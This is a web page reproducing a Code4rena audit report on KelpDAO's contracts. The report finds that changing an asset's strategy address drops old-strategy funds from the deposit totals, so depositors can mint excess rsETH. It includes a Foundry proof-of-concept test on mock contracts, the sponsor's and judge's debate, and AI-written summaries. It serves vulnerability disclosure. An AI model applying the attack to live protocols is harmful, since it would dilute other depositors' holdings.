Update in strategy will cause wrong issuance of shares
The report describes a flaw in Kelp's smart contracts where updating the strategy address for an asset causes the total deposits calculation to ignore funds held in the old strategy, reducing the rsETH share price and allowing depositors to mint more shares than they should. An attacker could deposit after such an update and receive shares worth more than their deposit.
If there is update in strategy, getTotalAssetDeposits(asset) will reduce for asset. Because it checks for the assets deposited in NodeDelegator. NodeDelegator.getAssetBalance() will check for asset balance for the strategy of the user. If strategy is updated, then the balance of old strategy won’t be taken into account which will reduce the totalDeposits. This will reduce the rsETH share price and cause more rsETH shares to be minted for the depositors. Thus, depositors can immediately deposit and their shares are worth more than their deposit.
Proof of Concept
contract LRTDepositPoolTest is BaseTest, RSETHTest {
LRTDepositPool public lrtDepositPool;
LRTOracle public lrtOracle;
NodeDelegator public nodeDelegator;
ILRTConfig public ilrtConfig;
MockEigenStrategyManager public mockEigenStraregyManager;
MockStrategy public mockStrategy1;
MockStrategy public mockStrategy2;
function setUp() public virtual override(RSETHTest, BaseTest) {
super.setUp();
// deploy LRTDepositPool
ProxyAdmin proxyAdmin = new ProxyAdmin();
LRTDepositPool contractImpl = new LRTDepositPool();
TransparentUpgradeableProxy contractProxy = new TransparentUpgradeableProxy(
address(contractImpl),
address(proxyAdmin),
""
);
lrtDepositPool = LRTDepositPool(address(contractProxy));
//deploy rsETH
proxyAdmin = new ProxyAdmin();
RSETH tokenImpl = new RSETH();
TransparentUpgradeableProxy tokenProxy = new TransparentUpgradeableProxy(
address(tokenImpl),
address(proxyAdmin),
""
);
rseth = RSETH(address(tokenProxy));
//deploy lrtConfig
proxyAdmin = new ProxyAdmin();
LRTConfig lrtConfigImpl = new LRTConfig();
TransparentUpgradeableProxy lrtConfigProxy = new TransparentUpgradeableProxy(
address(lrtConfigImpl),
address(proxyAdmin),
""
);
lrtConfig = LRTConfig(address(lrtConfigProxy));
// initialize RSETH. LRTCOnfig is already initialized in RSETHTest
// rseth.initialize(address(admin), address(lrtConfig));
// add rsETH to LRT config
// lrtConfig.setRSETH(address(rseth));
// add oracle to LRT config
// deploy LRTOracle
ProxyAdmin proxyAdmin1 = new ProxyAdmin();
lrtOracle = new LRTOracle();
TransparentUpgradeableProxy contractProxy1 = new TransparentUpgradeableProxy(
address(lrtOracle),
address(proxyAdmin1),
""
);
lrtOracle = LRTOracle(address(contractProxy1));
// deploy NodeDelegator
proxyAdmin1 = new ProxyAdmin();
nodeDelegator = new NodeDelegator();
contractProxy1 = new TransparentUpgradeableProxy(
address(nodeDelegator),
address(proxyAdmin1),
""
);
nodeDelegator = NodeDelegator(address(contractProxy1));
lrtConfig.initialize(
admin,
address(stETH),
address(rETH),
address(cbETH),
address(rseth)
);
rseth.initialize(admin, address(lrtConfig));
lrtOracle.initialize(address(lrtConfig));
nodeDelegator.initialize(address(lrtConfig));
lrtDepositPool.initialize(address(lrtConfig));
mockEigenStraregyManager = new MockEigenStrategyManager();
mockStrategy1 = new MockStrategy(address(stETH), 0);
mockStrategy2 = new MockStrategy(address(stETH), 0);
vm.startPrank(admin);
lrtConfig.setContract(
keccak256("LRT_DEPOSIT_POOL"),
address(lrtDepositPool)
);
lrtConfig.setContract(
keccak256("EIGEN_STRATEGY_MANAGER"),
address(mockEigenStraregyManager)
);
lrtConfig.grantRole(keccak256("MANAGER"), manager);
lrtConfig.setRSETH(address(rseth));
vm.stopPrank();
vm.startPrank(manager);
lrtOracle.updatePriceOracleFor(
address(stETH),
address(new LRTOracleMock())
);
lrtOracle.updatePriceOracleFor(
address(rETH),
address(new LRTOracleMock())
);
lrtOracle.updatePriceOracleFor(
address(cbETH),
address(new LRTOracleMock())
);
// lrtConfig.addNewSupportedAsset(address(randomToken), 100_000 ether);
// lrtOracle.updatePriceOracleFor(
// address(randomToken),
// address(new LRTOracleMock())
// );
vm.stopPrank();
vm.startPrank(admin);
lrtConfig.updateAssetStrategy(address(stETH), address(mockStrategy1));
lrtConfig.setContract(LRTConstants.LRT_ORACLE, address(lrtOracle));
// add minter role for rseth to lrtDepositPool
rseth.grantRole(rseth.MINTER_ROLE(), address(lrtDepositPool));
address[] memory nodeDelegatorContracts = new address[](1);
nodeDelegatorContracts[0] = address(nodeDelegator);
lrtDepositPool.addNodeDelegatorContractToQueue(nodeDelegatorContracts);
vm.stopPrank();
}
function test_update_strategy_cause_wrong_minting_of_shares() public {
//NOTE: comment line 207-211 in setup for this
vm.startPrank(admin);
lrtConfig.grantRole(LRTConstants.MANAGER, manager);
vm.stopPrank();
vm.startPrank(alice);
stETH.approve(address(lrtDepositPool), 10 ether);
lrtDepositPool.depositAsset(address(stETH), 10 ether); //NOTE: 10000000000000000000 rsETH amount minted
vm.stopPrank();
vm.startPrank(manager);
lrtDepositPool.transferAssetToNodeDelegator(
0,
address(stETH),
10 ether
);
vm.stopPrank();
vm.startPrank(admin);
lrtConfig.updateAssetStrategy(address(stETH), address(mockStrategy2));
lrtConfig.updateAssetStrategy(address(rETH), address(mockStrategy2));
lrtConfig.updateAssetStrategy(address(cbETH), address(mockStrategy2));
vm.stopPrank();
vm.startPrank(alice);
stETH.approve(address(lrtDepositPool), 10 ether);
lrtDepositPool.depositAsset(address(stETH), 10 ether); //NOTE: 2500000000000000000 rsETH amount minted even after fixing deposit bug
vm.stopPrank();
}
}
Tools Used
Foundry
Recommended Mitigation Steps
While updating the strategy, ensure that balance deposited in previous strategy for same asset is accounted while minting the shares.
The Eigenlayer has a 1-1 mapping for asset and its strategy. We don’t believe this an issue with KelpDAO or its code but with Eigenlayer if it upgrades its protocol to have multiple strategies for an asset. Then if this occurs, KelpDAO will also have to upgrade its contracts to ensure the compatibility to Eigenlayer.
Also, if Eigenlayer changes strategies, they are responsible to migrate the internal accounting to the new address.
Currently Eigenlayer’s implementation allows them to have multiple startegies for any asset.
-> But we can continue to deposit into one strategy for a asset and it won’t be a problem for us. That is assuming 1:1 mapping won’t harm us.
Above assumptions will only create problem in case, Eigenlayer wants to spread the current funds into multiple strategies for any asset in future upgrades. And in this case, they will provide proper heads up ahead of time and we can upgrade along with them accordingly.
In case they change their strategy for any asset, we can point to new strategy address and it should work fine. And in this case Eigenlayer should should take care of all migration of funds from old to new strategy.
But as currently nothing has been decided at Eigenlayer end. I believe we are good with our current assumption of 1:1. It would be overkill to assume anything else as of now.
Kelp has provided adequate reasoning behind the current design. I agree that it is unlikely that a breaking change from the Eigenlayer protocol would not be properly communicated ahead of time. Designing around this potentiality would impose added risk in the current design.
As we can see, when an EigenLayer Strategy for an asset is changed, there is currently no mechanism in place to migrate user deposits from the old strategy to the new one. It is precisely in this scenario that the vulnerability arises.
If a strategy update occurs, the function getTotalAssetDeposits(asset) will show a reduced value for that asset. This reduction happens because the function references assets deposited in NodeDelegator. Specifically, NodeDelegator.sol#getAssetBalance() assesses the asset balance based on the user’s current strategy. When a strategy update takes place, the balance associated with the previous strategy is no longer considered, leading to a decrease in totalDeposits. As a result, the share price of rsETH decreases, prompting the system to mint more rsETH shares for depositors. Consequently, depositors can make immediate deposits, gaining shares that are more valuable than the actual amount they deposited.
This vulnerability describes significant flaws in the KelpDAO protocol flow. Nothing related to the functionality of EigenLayer Strategies.
But as currently nothing has been decided at Eigenlayer end. I believe we are good with our current assumption of 1:1. It would be a overkill to assume anything else as of now.
The recommendations in this report do not make any assumptions about the implementation of 1:1 mapping. Instead, they specifically suggest updating the updateAssetStrategy() function. In a way that update would enable the transfer of user deposits from the old strategy to the new strategy once the new strategy is set. (as in my issue #644 writes)
I believe the issue has been misjudged and should be mitigated to High Severity Issue.
@radev_sw - KelpDao will only update the strategy address when EigenLayer updates strategy for any asset (which EigenLayer currently has no plans as such).
Even if above scenario takes place. EigenLayer should provide proper communications ahead of time. And we can go through follow below steps:
Eigenlayer communicates strategy update
KelpDao pauses its protocol for a mutually decided duration
EigenLayer migrates its state from old contracts to new contracts
KelpDao points to new strategy contract
KelpDao resumes
If migration of contract state is not possible at EigenLayer and they (Eigenlayer) decomission their old strategy, only in this scenario
KelpDao will have to withdraw its funds from old strategy and redelgate it to new strategy. And these steps will be done in complete visibility and transparency with proper timelocks. But sees no harm or loss to funds or miscalculation.
The warden accurately explains how Kelp’s internal accounting will be broken if they decide to use the updateAssetStrategy() function. If Kelp changes the strategy address, rsETH share prices will decrease in a way that should not occur.
While Kelp describes the list of actions that they would take in the case they would need to change the strategy address, the implementation does not protect against the possibility of the broken accounting.
The original report as published on Code4rena, by crack-the-kelp. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Generating the AI write-up for this report.
This usually takes about 30 seconds. You can read the original meanwhile; this page updates itself.
Writing the technical write-up
Writing the version for beginners
Checking every passage against the original
How it worked
Root cause
Likely the updateAssetStrategy function does not migrate or account for assets held in the previous strategy, so the total deposits calculation only considers the new strategy's balance.
Impact
If the strategy is updated without migrating funds, the rsETH share price drops and depositors can mint more shares than their deposit is worth, diluting existing holders. The report notes this only occurs if Kelp updates the strategy, which they dispute is likely.
What the attacker needed
Kelp updates the asset strategy; Attacker deposits after the update
The fix
The updateAssetStrategy function should ensure that the balance deposited in the previous strategy is accounted for when minting shares, for example by migrating funds or including the old strategy's balance in the total deposits calculation.
How it was found
Alice deposits 10 ether of stETH into the LRTDepositPool, receiving rsETH shares.
The manager transfers the deposited stETH to the NodeDelegator contract.
The admin updates the asset strategy for stETH (and other assets) to a new strategy address.
Alice deposits another 10 ether of stETH into the LRTDepositPool.
Due to the reduced total deposits, Alice receives more rsETH shares than she should for the second deposit.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Generating the AI write-up for this report.
This usually takes about 30 seconds. You can read the original meanwhile; this page updates itself.
Writing the technical write-up
Writing the version for beginners
Checking every passage against the original
This is about a cryptocurrency system where users deposit assets and receive shares representing their portion of the pool. The system tracks how much is deposited by checking a strategy contract, but if the strategy address is changed, the old strategy's balance is no longer counted, making the pool appear smaller and shares cheaper. A user could then deposit and get more shares than deserved, taking value from others.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.